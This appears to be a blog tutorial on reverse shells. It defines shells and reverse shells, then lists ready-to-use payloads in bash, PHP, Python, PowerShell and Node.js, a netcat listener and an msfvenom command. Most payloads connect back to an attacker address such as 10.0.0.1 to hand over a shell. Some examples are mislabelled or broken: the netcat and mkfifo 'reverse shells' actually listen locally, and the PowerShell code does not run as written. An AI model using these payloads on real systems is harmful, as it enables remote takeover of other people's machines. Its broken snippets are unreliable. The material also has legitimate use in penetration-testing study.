Basic Reverse Shell Guide

Table of Contents

Categories: #security 
Tags: #reverse shells  #bash  #powershell  #php  #python  #node 

Intro

What is a Shell

A shell is an interactive display that lets users submit commands to be executed on their computer. These commands are translated into system calls, which are understood and carried out by the operating system. In essence the shell is the direct window into your computer’s soul. Any function that can be carried out by your computer can be set into motion through shell commands.

What is a Remote Shell

A remote shell allows you to interface with a shell instance on your computer over a network. This can be over LAN through a physical cable, a virtual network or the internet. The most common method of creating a remote shell is through an ssh connection to your computer’s IP.

1user=michael
2IP=10.0.0.1
3
4ssh $user@$IP

This command, and others like it, gives you a remote clone of a shell that is running on the target computer. This function gives users the freedom to connect and work on their computer remotely from any device in the world, with the same freedom they would have if they were physically infront of their device.

However with increased control comes increased risk and vulnerability. If a malicious actor were to gain access to your computer through a remote shell, they would have the same level of control over your computer as you do.

This is where reverse shells come into play.

What is a Reverse Shell

Reverse shells are a combination of the two concepts above. A reverse shell is a shell that is first opened on the local computer and then hands off control to a remote computer over the network. The attacker will constantly listen and wait for the reverse shell to send them a signal to connect. To do this the reverse shell has to know the IP address of the remote computer and the port it is listening on. The remote computer then has to be set up to accept incoming connections on that port.

Analogy

If creating a remote shells is like asking to speak to the manager - then a reverse shell is like the manager calling you up because the two of you are friends and he knows you are looking for him.

Why use a Reverse Shell

Reverse shells are a common method of gaining access to a computer remotely. They are often used by attackers to gain access to a target system, but they can also be used for legitimate purposes, such as remote administration or troubleshooting.

Reverse shells are often used in penetration testing and ethical hacking to test the security of a system. They can also be used by system administrators to remotely manage and troubleshoot systems.

Examples

The following examples will show you how to create a reverse shell using shells and programming languages that are often installed by default on target systems.

Listener

1nc -lvnp 8080

This command will set up a listener on the attacker’s computer on port 8080.

This is the most basic step of the reverse shell process. The attacker will set up a listener on their system, waiting for the reverse shell from the target system to connect to them.

Bash Reverse Shell

The simples and most common method of creating a reverse shell is using bash. Bash is a command-line shell is the defacto UNIX shell. This method simply uses tcp socket to write and read commands from an attacker’s IP. This is often the first method that comes to mind when creating a reverse shell.

1bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

This command will create a reverse shell using bash.

This command will connect to the specified IP address and port, allowing the attacker to execute commands on the target system.

Netcat Reverse Shell

Netcat is a powerful networking utility that can be used to create arbitrary remote connections. It is often pre-installed on Linux and macOS systems, making it a popular choice for attackers.

1nc -l 8080 -e /bin/bash

This command will create a reverse shell using netcat.

Bash Pipe Reverse Shell

Bash pipes are a common method of creating reverse shells. Just like in the first example they allow you to redirect the output of one command to the input of another command. This can be used to create a reverse shell by redirecting the output of a shell to a netcat network connection.

1mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

This command will create a named pipe using the mkfifo command.

PHP Reverse Shell

PHP is commonly exploited via webshells - files that are uploaded to a web server and executed by the server. This is a common method of gaining access to a target system, as many web servers have PHP installed by default.

1php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

This command will create a reverse shell using PHP.

This command will connect to the specified IP address and port, allowing the attacker to execute commands on the target system.

Python Reverse Shell

Python has increasingly become a popular language running on many systems. In this example we are using creating a socket connection and redirecting the input and output to the socket. The final command runs the same shell as the previous examples.

1import socket,subprocess,os
2s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3s.connect(("10.0.0.1",1234))
4os.dup2(s.fileno(),0)
5os.dup2(s.fileno(),1)
6os.dup2(s.fileno(),2)
7p=subprocess.call(["/bin/sh","-i"])

This command will create a reverse shell using Python.

This command will connect to the specified IP address and port, allowing the attacker to execute commands on the target system.

Powershell (Windows)

Powershell is a powerful scripting language that is often used for system administration and automation. It is commonly used in Windows environments, making it a popular choice for attackers.

 1$socket=(New-Object Net.Sockets.TCPClient("10.10.17.1",1337)).$stream = $client.GetStream();
 2
 3[byte[]]$bt=0..255|%{0};
 4
 5while(($i=$socket.Read($bt,0,$bt.Length)) -ne 0){
 6  $d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
 7  $st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));
 8  $socket.Write($st,0,$st.Length);
 9  $socket.Flush()
10  }

Node.js (Javascript)

Node.js is a popular JavaScript runtime and can be leveraged to create a reverse shell. This is similar to how Python and PHP are used to create new network connections.

 1// Reverse shell in Node.js
 2// Connects back to a remote listener and pipes a shell
 3
 4const net = require("net");
 5const { spawn } = require("child_process");
 6
 7// CHANGE THESE VALUES
 8const REMOTE_HOST = "10.0.0.1";
 9const REMOTE_PORT = 4444;
10
11const client = new net.Socket();
12
13client.connect(REMOTE_PORT, REMOTE_HOST, () => {
14  const sh = spawn("/bin/sh", []);
15  client.write("Connected!\n");
16
17  client.pipe(sh.stdin);
18  sh.stdout.pipe(client);
19  sh.stderr.pipe(client);
20
21  sh.on("exit", () => {
22    client.end();
23  });
24});
25
26client.on("error", (err) => {
27  setTimeout(() => {
28    client.connect(REMOTE_PORT, REMOTE_HOST);
29  }, 5000); // retry after 5 seconds
30});

This command will create a reverse shell using Node.js.

MSFVenom

MSFVenom is a powerful tool that can be used to create reverse complex shells programatically. It is part of the Metasploit Framework and can be used to generate payloads for various platforms.

1msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=10.0.0.1 LPORT=8080

Additional Resources

There are many resources available online that provide more information about reverse shells and how to use them. Here are a few that I found helpful:

Related content:
AI Web Security Lab

AI Web Security Lab

Launching my AI Web Security Lab — Here’s Why I’m Building It

API Request Cookbook

API Request Cookbook

Binary Search in Python

Binary Search in Python

And you don’t need to memorize how binary search works